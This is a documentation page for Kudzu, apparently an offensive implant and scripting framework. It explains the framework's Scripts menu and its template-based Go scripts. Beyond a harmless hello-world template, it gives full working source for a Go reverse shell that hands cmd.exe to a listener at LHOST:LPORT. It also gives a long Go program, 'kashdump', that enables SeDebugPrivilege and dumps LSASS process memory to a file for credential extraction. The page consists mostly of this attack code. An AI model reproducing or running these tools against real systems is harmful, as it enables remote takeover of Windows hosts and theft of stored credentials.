📕
Kudzu
  • Kudzu
  • kdzshell
  • Scripts
  • Nodes
Powered by GitBook
On this page
  • Get Kudzu script info
  • Set script options and run script
  • Kudzu Scripting
  • A touch more in depth

Was this helpful?

Scripts

The Scripts menu provides access to the underlying Kudzu Scripting API. This will be where our exploits reside, and where we test new features/modifications.

<kudzu> scripts
<kudzu scripts> help
run: executes kudzu script
        usage: run hello.kzs
load: loads kudzu script for use and prints options
        usage: load hello.kzs
ls/list: lists scripts available
        usage: list

Get Kudzu script info

<kudzu scripts> load hello.kzs
hello.kzs is a test script demonstrating Kudzu's use of go templates 
and the yaegi interpreter.
Options:
LHOST
RHOST
CMD

Set script options and run script

<kudzu scripts> setop Lhost 127.0.0.1 
<kudzu scripts> setop Rhost 1.1.1.1   
<kudzu scripts> setop cmd tesing this is a command
<kudzu scripts> run hello.kzs
Output:
Hello from kudzu!
127.0.0.1
1.1.1.1
CMD: tesing this is a command

Kudzu Scripting

Kudzu leverages an embedded interpreter and golang templates to generate and execute custom scripts. The info command parses the initial comment, or Kudzu Header, identified by the /*{ }*/ field. Kudzu scripts will not load without this header.

Examples

hello.kzs

/*{
hello.kzs is a test script demonstrating Kudzu's use of go templates 
and the interpreter.
Options:
LHOST
RHOST
CMD
}*/

package main

import "fmt"

func main() {
	fmt.Println("Hello from kudzu!")
    fmt.Println("{{.LHOST}}")
    fmt.Println("{{.RHOST}}")
    test := "{{.CMD}}"
    fmt.Println("CMD:", test)
}

simple_implant.kzs

/*{
Description: Simple go reverse shell, provides cmd.exe over tcp
Options:
LHOST
LPORT
}*/

package main

import (
	"log"
	"net"
	"os/exec"
)

func main() {
	revcon, err := net.Dial("tcp", "{{.LHOST}}:{{.LPORT}}")
	if err != nil {
		log.Println(err)
	}
	cmdproc := exec.Command("cmd.exe")
	cmdproc.Stdout = revcon
	cmdproc.Stdin = revcon
	cmdproc.Run()
}

A touch more in depth

Above is a relatively basic example of the capabilities, here we dig a little deeper. This script, kashdump.kzs, is a bit of a monster, but since we are delivering the entire payload in one file, things grew out of hand. The important parts are related to how we gain access to a process token, enable SeDebug privileges, and finally dump memory from LSASS. Note that this is not opsec safe in the slightest, we are writing a memory dump directly to the directory in which our implant is running. Good improvements on this would implement a write to buffer/memory instead of write to file, but that will be for a future weekend (or someone else!)

TLDR: We can do some pretty advanced and very useful stuff. Check out main() and dumplsass()

/*{
Name: KashDump
Description: dumps lsass to file called lsa.dmp
Options:
None
}*/


package main

//privilege and impersonation stuff thanks to go-winio. Thanks Microsoft!

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"log"
	"runtime"
	"sync"
	"syscall"
	"unicode/utf16"
	"unsafe"
)

const (
	SE_PRIVILEGE_ENABLED = 2

	ERROR_NOT_ALL_ASSIGNED syscall.Errno = 1300

	SeBackupPrivilege  = "SeBackupPrivilege"
	SeRestorePrivilege = "SeRestorePrivilege"
)

const (
	securityAnonymous = iota
	securityIdentification
	securityImpersonation
	securityDelegation
	errnoERROR_IO_PENDING = 997
)

var (
	privNames                                                = make(map[string]uint64)
	privNameMutex                                            sync.Mutex
	modadvapi32                                                    = syscall.NewLazyDLL("advapi32.dll")
	procAdjustTokenPrivileges                                      = modadvapi32.NewProc("AdjustTokenPrivileges")
	procConvertSecurityDescriptorToStringSecurityDescriptorW       = modadvapi32.NewProc("ConvertSecurityDescriptorToStringSecurityDescriptorW")
	procConvertSidToStringSidW                                     = modadvapi32.NewProc("ConvertSidToStringSidW")
	procConvertStringSecurityDescriptorToSecurityDescriptorW       = modadvapi32.NewProc("ConvertStringSecurityDescriptorToSecurityDescriptorW")
	procGetSecurityDescriptorLength                                = modadvapi32.NewProc("GetSecurityDescriptorLength")
	procImpersonateSelf                                            = modadvapi32.NewProc("ImpersonateSelf")
	procDuplicateToken                                             = modadvapi32.NewProc("DuplicateToken")
	procOpenProcessToken                                           = modadvapi32.NewProc("OpenProcessToken")
	procLookupAccountNameW                                         = modadvapi32.NewProc("LookupAccountNameW")
	procLookupPrivilegeDisplayNameW                                = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
	procLookupPrivilegeNameW                                       = modadvapi32.NewProc("LookupPrivilegeNameW")
	procLookupPrivilegeValueW                                      = modadvapi32.NewProc("LookupPrivilegeValueW")
	procOpenThreadToken                                            = modadvapi32.NewProc("OpenThreadToken")
	procRevertToSelf                                               = modadvapi32.NewProc("RevertToSelf")
	errERROR_IO_PENDING                                      error = syscall.Errno(errnoERROR_IO_PENDING)
	errERROR_EINVAL                                          error = syscall.EINVAL

	modkernel32          = syscall.NewLazyDLL("kernel32.dll")
	procGetCurrentThread = modkernel32.NewProc("GetCurrentThread")
)

type PrivilegeError struct {
	privileges []uint64
}

func main() {
	err := RunWithPrivilege("SeDebugPrivilege", dumplsass)
	if err != nil {
		log.Println(err)
	}
}

func dumplsass() error {
	snapshot, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
	if err != nil {
		log.Println("snapshot:", err)
	}
	var procentry syscall.ProcessEntry32
	procentry.Size = uint32(unsafe.Sizeof(syscall.ProcessEntry32{}))

	targname := [260]uint16{'l', 's', 'a', 's', 's', '.', 'e', 'x', 'e'}


	err = syscall.Process32First(snapshot, &procentry)
	if err != nil {
		log.Println(err)
	}

	var pid uint32

	for {
		if procentry.ExeFile == [260]uint16(targname) {
			fmt.Println("success!")
			pid = procentry.ProcessID
		}
		err = syscall.Process32Next(snapshot, &procentry)
		if err != nil {
			break
		}
	}
	fmt.Println(pid)

	lhandle, err := syscall.OpenProcess(0x1F0FFF, false, pid)
	if err != nil {
		log.Println("openprocess:", err)
	}

	outfile, err := syscall.CreateFile(syscall.StringToUTF16Ptr("lsa.dmp"), syscall.GENERIC_ALL, 0, nil, syscall.CREATE_ALWAYS, syscall.FILE_ATTRIBUTE_NORMAL, int32(0))
	if err != nil {
		log.Println("createfile:", err)
	}
	defer syscall.Close(outfile)
	//get minidumpwrite
	dbgcore := syscall.NewLazyDLL("Dbghelp.dll")


	minidumpwrite := dbgcore.NewProc("MiniDumpWriteDump")

	//apparently we want incorrect parameters? Shoutout C_Sto, the real GOAT
	isdumped, _, err := minidumpwrite.Call(uintptr(lhandle), uintptr(pid), uintptr(outfile), 3, 0, 0, 0)
	if err != nil {
		log.Println("isdumped:", err)
	}
	fmt.Println(isdumped)
	return err
}

func RunWithPrivilege(name string, fn func() error) error {
	return RunWithPrivileges([]string{name}, fn)
}

// RunWithPrivileges enables privileges for a function call.
func RunWithPrivileges(names []string, fn func() error) error {
	privileges, err := mapPrivileges(names)
	if err != nil {
		return err
	}
	runtime.LockOSThread()
	defer runtime.UnlockOSThread()
	token, err := newThreadToken()
	if err != nil {
		return err
	}
	defer releaseThreadToken(token)
	err = adjustPrivileges(token, privileges, SE_PRIVILEGE_ENABLED)
	if err != nil {
		return err
	}
	return fn()
}

func mapPrivileges(names []string) ([]uint64, error) {
	var privileges []uint64
	privNameMutex.Lock()
	defer privNameMutex.Unlock()
	for _, name := range names {
		p, ok := privNames[name]
		if !ok {
			err := lookupPrivilegeValue("", name, &p)
			if err != nil {
				return nil, err
			}
			privNames[name] = p
		}
		privileges = append(privileges, p)
	}
	return privileges, nil
}

func adjustPrivileges(token syscall.Token, privileges []uint64, action uint32) error {
	b := new(bytes.Buffer)
	binary.Write(b, binary.LittleEndian, uint32(len(privileges)))
	for _, p := range privileges {
		binary.Write(b, binary.LittleEndian, p)
		binary.Write(b, binary.LittleEndian, action)
	}
	prevState := make([]byte, b.Len())
	reqSize := uint32(0)

	bbytes := b.Bytes()
	bptr := &bbytes[0]


	success, err := adjustTokenPrivileges(token, false, bptr, uint32(len(prevState)), &prevState[0], &reqSize)
	if !success {
		return err
	}
	
	return nil
}



func adjustTokenPrivileges(token syscall.Token, releaseAll bool, input *byte, outputSize uint32, output *byte, requiredSize *uint32) (success bool, err error) {
	var _p0 uint32
	if releaseAll {
		_p0 = 1
	}
	r0, _, e1 := syscall.Syscall6(procAdjustTokenPrivileges.Addr(), 6, uintptr(token), uintptr(_p0), uintptr(unsafe.Pointer(input)), uintptr(outputSize), uintptr(unsafe.Pointer(output)), uintptr(unsafe.Pointer(requiredSize)))
	success = r0 != 0
	if true {
		err = errnoErr(e1)
	}
	return
}

func (e *PrivilegeError) Error() string {
	s := ""
	if len(e.privileges) > 1 {
		s = "Could not enable privileges "
	} else {
		s = "Could not enable privilege "
	}
	for i, p := range e.privileges {
		if i != 0 {
			s += ", "
		}
		s += `"`
		s += getPrivilegeName(p)
		s += `"`
	}
	return s
}

func getPrivilegeName(luid uint64) string {
	var nameBuffer [256]uint16
	bufSize := uint32(len(nameBuffer))
	err := lookupPrivilegeName("", &luid, &nameBuffer[0], &bufSize)
	if err != nil {
		return fmt.Sprintf("<unknown privilege %d>", luid)
	}

	var displayNameBuffer [256]uint16
	displayBufSize := uint32(len(displayNameBuffer))
	var langID uint32
	err = lookupPrivilegeDisplayName("", &nameBuffer[0], &displayNameBuffer[0], &displayBufSize, &langID)
	if err != nil {
		return fmt.Sprintf("<unknown privilege %s>", string(utf16.Decode(nameBuffer[:bufSize])))
	}

	return string(utf16.Decode(displayNameBuffer[:displayBufSize]))
}

func lookupPrivilegeDisplayName(systemName string, name *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
	var _p0 *uint16
	_p0, err = syscall.UTF16PtrFromString(systemName)
	if err != nil {
		return
	}
	return _lookupPrivilegeDisplayName(_p0, name, buffer, size, languageId)
}

func _lookupPrivilegeDisplayName(systemName *uint16, name *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
	r1, _, e1 := syscall.Syscall6(procLookupPrivilegeDisplayNameW.Addr(), 5, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), uintptr(unsafe.Pointer(languageId)), 0)
	if r1 == 0 {
		err = errnoErr(e1)
	}
	return
}

func lookupPrivilegeName(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) {
	var _p0 *uint16
	_p0, err = syscall.UTF16PtrFromString(systemName)
	if err != nil {
		return
	}
	return _lookupPrivilegeName(_p0, luid, buffer, size)
}

func _lookupPrivilegeName(systemName *uint16, luid *uint64, buffer *uint16, size *uint32) (err error) {
	r1, _, e1 := syscall.Syscall6(procLookupPrivilegeNameW.Addr(), 4, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(luid)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), 0, 0)
	if r1 == 0 {
		err = errnoErr(e1)
	}
	return
}

func errnoErr(e syscall.Errno) error {
	switch e {
	case 0:
		return errERROR_EINVAL
	case errnoERROR_IO_PENDING:
		return errERROR_IO_PENDING
	}
	return e
}

func newThreadToken() (syscall.Token, error) {
	err := impersonateSelf(securityImpersonation)
	if err != nil {
		return 0, err
	}

	var token syscall.Token
	err = openThreadToken(getCurrentThread(), syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, false, &token)
	if err != nil {
		rerr := revertToSelf()
		if rerr != nil {
			panic(rerr)
		}
		return 0, err
	}
	return token, nil
}

func releaseThreadToken(h syscall.Token) {
	err := revertToSelf()
	if err != nil {
		panic(err)
	}
	h.Close()
}

func impersonateSelf(level uint32) (err error) {
	r1, _, e1 := syscall.Syscall(procImpersonateSelf.Addr(), 1, uintptr(level), 0, 0)
	if r1 == 0 {
		err = errnoErr(e1)
	}
	return
}

func openThreadToken(thread syscall.Handle, accessMask uint32, openAsSelf bool, token *syscall.Token) (err error) {
	var _p0 uint32
	if openAsSelf {
		_p0 = 1
	}
	r1, _, e1 := syscall.Syscall6(procOpenThreadToken.Addr(), 4, uintptr(thread), uintptr(accessMask), uintptr(_p0), uintptr(unsafe.Pointer(token)), 0, 0)
	if r1 == 0 {
		err = errnoErr(e1)
	}
	return
}
func getCurrentThread() (h syscall.Handle) {
	r0, _, _ := syscall.Syscall(procGetCurrentThread.Addr(), 0, 0, 0, 0)
	h = syscall.Handle(r0)
	return
}
func revertToSelf() (err error) {
	r1, _, e1 := syscall.Syscall(procRevertToSelf.Addr(), 0, 0, 0, 0)
	if r1 == 0 {
		err = errnoErr(e1)
	}
	return
}

func lookupPrivilegeValue(systemName string, name string, luid *uint64) (err error) {
	var _p0 *uint16
	_p0, err = syscall.UTF16PtrFromString(systemName)
	if err != nil {
		return
	}
	var _p1 *uint16
	_p1, err = syscall.UTF16PtrFromString(name)
	if err != nil {
		return
	}
	return _lookupPrivilegeValue(_p0, _p1, luid)
}

func _lookupPrivilegeValue(systemName *uint16, name *uint16, luid *uint64) (err error) {
	r1, _, e1 := syscall.Syscall(procLookupPrivilegeValueW.Addr(), 3, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(luid)))
	if r1 == 0 {
		err = errnoErr(e1)
	}
	return
}

Some things ive realized, we are sorta limited to the standard libraries (including syscall and unsafe) so extra massaging is required to avoid using external libs. I don't see a way around this, so get used to digging into source code and re-implementing things!

PreviouskdzshellNextNodes

Last updated 4 years ago

Was this helpful?